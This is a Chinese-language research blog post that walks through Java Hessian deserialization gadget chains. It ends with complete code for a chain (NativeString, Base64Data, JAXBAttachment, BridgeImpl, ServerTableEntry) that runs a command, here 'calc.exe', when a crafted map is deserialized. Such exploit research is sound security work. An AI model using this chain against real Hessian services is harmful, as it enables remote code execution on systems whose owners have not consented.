前言 学习!
环境搭建 只需要一个Hessian依赖:
1 2 3 4 5 <dependency > <groupId > com.caucho</groupId > <artifactId > hessian</artifactId > <version > 4.0.66</version > </dependency >
序列化和反序列化使用Hessian2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public static byte [] serialize(Object o) { byte [] bytes = null ; try { ByteArrayOutputStream bos = new ByteArrayOutputStream (); Hessian2Output ho = new Hessian2Output (bos); ho.getSerializerFactory().setAllowNonSerializable(true ); ho.writeObject(o); ho.flushBuffer(); bytes = bos.toByteArray(); }catch (Exception e) { e.printStackTrace(); } return bytes; }public static Object unserialize (byte [] bytes) { Object o = null ; try { ByteArrayInputStream is = new ByteArrayInputStream (bytes); Hessian2Input hi = new Hessian2Input (is); o = hi.readObject(); }catch (Exception e) { e.printStackTrace(); } return o; }
Hessian可以理解为存在类型限制(如Map和Iterator等类型在反序列化时可能受到限制)且不要求可序列化的反序列化,可以类比Xstream和Fastjson。
Xstream ContainsFilter利用链 ContainsFilter只有从FilterIterator来的调用方式,然而Hessian在反序列化Iterator时使用的是IteratorDeserializer,其readList函数如下:
1 2 3 4 5 6 7 8 9 10 ArrayList list = new ArrayList (); in.addRef(list);while (! in.isEnd()) list.add(in.readObject()); in.readEnd();return list.iterator();
类型被限定为了ArrayList,无法正常反序列化Iterator类。
而且ContainsFilter继承自ServiceRegistry.Filter,该接口下的filter函数需要一个参数,也无法通过AnnotationInvocationHandler调用。
XStream InitialContext 貌似有一个以MultiUIDefaults为入口的利用链:
1 2 3 4 5 6 7 XString# equal -> MultiUIDefaults# toString -> UIDefaults# get -> UIDefaults# getFromHashTable -> UIDefaults$LazyValue# createValue -> SwingLazyValue# createValue -> InitialContext# doLookup ()
看起来是JNDI注入,不怎么有趣。这条链因为MultiUIDefaults继承自Map,虽然它有public的无参构造函数,但是因为MapDeserializer实例化时用的是constructor + newInstance()的方式而不是一般类所用的_unsafe.allocateInstance(_type),所以MultiUIDefaults就会因为不是public类而无法实例化。
ServerTableEntry + GetterSetterReflection 按正常反序列化流程会从RequestContext开始,然而它是一个Map,而且没有无参构造函数,于是就被Hessian鲨了。
1 2 3 4 5 6 7 8 9 10 11 12 13 Constructor<?> []ctors = type.getConstructors();for (int i = 0 ; i < ctors.length; i++) { if (ctors[i].getParameterTypes().length == 0 ) _ctor = ctors[i]; }if (_ctor == null ) { try { _ctor = HashMap.class.getConstructor(new Class [0 ]); } catch (Exception e) { throw new IllegalStateException (e); } }
MapDeserializer只要public的无参构造函数,不然把Map全都给你整成HashMap。
找找还有什么地方调用了JAXBAttachment.asInputStream,找到了同类下的getInputStream函数:
1 2 3 public InputStream getInputStream () throws IOException { return this .asInputStream(); }
再往上一找,会发现Base64Data.get:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public byte [] get() {if (this .data == null ) { try { ByteArrayOutputStreamEx baos = new ByteArrayOutputStreamEx (1024 ); InputStream is = this .dataHandler.getDataSource().getInputStream(); baos.readFrom(is); is.close(); this .data = baos.getBuffer(); this .dataLen = baos.size(); } catch (IOException var3) { this .dataLen = 0 ; } }return this .data; }
非常眼熟,这不就是Xstream反序列化漏洞中用到过的类吗,简单测试一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 JAXBAttachment jaxbAttachment = new JAXBAttachment (null , null , null , null );DataHandler dataHandler = new DataHandler (jaxbAttachment);Base64Data base64Data = new Base64Data (); Utils.setField(base64Data, "dataHandler" , dataHandler);Object nativeString = Utils.createWithoutConstructor("jdk.nashorn.internal.objects.NativeString" ); Utils.setField(nativeString, "value" , base64Data); Map<Object, Object> map = new HashMap <>(); map.put(1 , 1 ); Object[] table = (Object[])Utils.getFieldValue(map, "table" ); Utils.setField(table[1 ], "key" , nativeString);byte [] bytes = serialize(map);Object o = unserialize(bytes);
发现在反序列化过程中正常走到了JAXBAttachment.writeTo函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 java.lang.NullPointerException at com.sun.xml.internal.ws.message.JAXBAttachment.writeTo(JAXBAttachment.java:109 ) at com.sun.xml.internal.ws.message.JAXBAttachment.asInputStream(JAXBAttachment.java:99 ) at com.sun.xml.internal.ws.message.JAXBAttachment.getInputStream(JAXBAttachment.java:125 ) at com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data.get(Base64Data.java:181 ) at com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data.toString(Base64Data.java:286 ) at jdk.nashorn.internal.objects.NativeString.getStringValue(NativeString.java:121 ) at jdk.nashorn.internal.objects.NativeString.hashCode(NativeString.java:117 ) at java.util.HashMap.hash(HashMap.java:341 ) at java.util.HashMap.put(HashMap.java:614 ) at com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:114 ) at com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:577 ) at com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2093 ) at org.example.App.unserialize(App.java:63 ) at org.example.App.main(App.java:38 )
继续构造,BridgeImpl类的构造比较麻烦,下一步的MarshallerImpl对象要从其父类Bridge的marshal函数中获得,调用链比较复杂:
1 Marshaller m = (Marshaller)this .context.marshallerPool.take();
marshallerPool.take是一个抽象类Impl中定义的函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public final T take () { T t = this .getQueue().poll(); return t == null ? this .create() : t; }private ConcurrentLinkedQueue<T> getQueue () { WeakReference<ConcurrentLinkedQueue<T>> q = this .queue; ConcurrentLinkedQueue d; if (q != null ) { d = (ConcurrentLinkedQueue)q.get(); if (d != null ) { return d; } } d = new ConcurrentLinkedQueue (); this .queue = new WeakReference (d); return d; }
需要构造一个包含ConcurrentLinkedQueue的WeakReference,WeakReference类的get函数很好控制:
1 2 3 public T get () { return this .referent; }
而这个抽象类Impl最后被实例化为了匿名类:
1 2 3 4 5 6 this .marshallerPool = new Impl <Marshaller>() { @NotNull protected Marshaller create () { return JAXBContextImpl.this .createMarshaller(); } };
此外的问题也比较多,一步步调试最后构造出对象:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 JAXBContextImpl.JAXBContextBuilder jAXBContextBuilder = new com .sun.xml.internal.bind.v2.runtime.JAXBContextImpl.JAXBContextBuilder(); jAXBContextBuilder.setClasses(new Class []{});Object jaxbContext = jAXBContextBuilder.build();Object marshaller = Utils.createWithoutConstructor("com.sun.xml.internal.bind.v2.runtime.MarshallerImpl" ); Utils.setField(marshaller, "encoding" , "UTF-8" ); Utils.setField(marshaller, "context" , jaxbContext); Constructor<?> c = XMLSerializer.class.getDeclaredConstructors()[0 ]; c.setAccessible(true );Object xmlSerializer = c.newInstance(marshaller); Utils.setField(marshaller, "serializer" , xmlSerializer);ConcurrentLinkedQueue concurrentLinkedQueue = new ConcurrentLinkedQueue (); concurrentLinkedQueue.add(marshaller);WeakReference weakReference = new WeakReference (concurrentLinkedQueue);Object marshallerPool = Utils.getFieldValue(jaxbContext, "marshallerPool" ); Utils.setField(marshallerPool, "queue" , weakReference);Method verify = ServerTableEntry.class.getMethod("verify" ); Accessor.GetterSetterReflection getterSetterReflection = new Accessor .GetterSetterReflection(verify, null );Object classBeanInfo = Utils.createWithoutConstructor("com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl" ); Utils.setField(classBeanInfo, "jaxbType" , ServerTableEntry.class); Utils.setField(classBeanInfo, "uriProperties" , new Property []{}); Utils.setField(classBeanInfo, "inheritedAttWildcard" , getterSetterReflection);Object bridgeImpl = Utils.createWithoutConstructor("com.sun.xml.internal.bind.v2.runtime.BridgeImpl" ); Utils.setField(bridgeImpl, "context" , jaxbContext); Utils.setField(bridgeImpl, "bi" , classBeanInfo);BridgeWrapper bridgeWrapper = new BridgeWrapper (null , null ); Utils.setField(bridgeWrapper, "bridge" , bridgeImpl);Object serverTableEntry = Utils.createWithoutConstructor("com.sun.corba.se.impl.activation.ServerTableEntry" ); Utils.setField(serverTableEntry, "activationCmd" , "calc.exe" );JAXBAttachment jaxbAttachment = new JAXBAttachment (null , serverTableEntry, bridgeWrapper, null );DataHandler dataHandler = new DataHandler (jaxbAttachment);Base64Data base64Data = new Base64Data (); Utils.setField(base64Data, "dataHandler" , dataHandler);Object nativeString = Utils.createWithoutConstructor("jdk.nashorn.internal.objects.NativeString" ); Utils.setField(nativeString, "value" , base64Data); Map<Object, Object> map = new HashMap <>(); map.put(1 , 1 ); Object[] table = (Object[])Utils.getFieldValue(map, "table" ); Utils.setField(table[1 ], "key" , nativeString); unserialize(serialize(map));
可以在反序列化时触发Runtime命令执行。
参考文章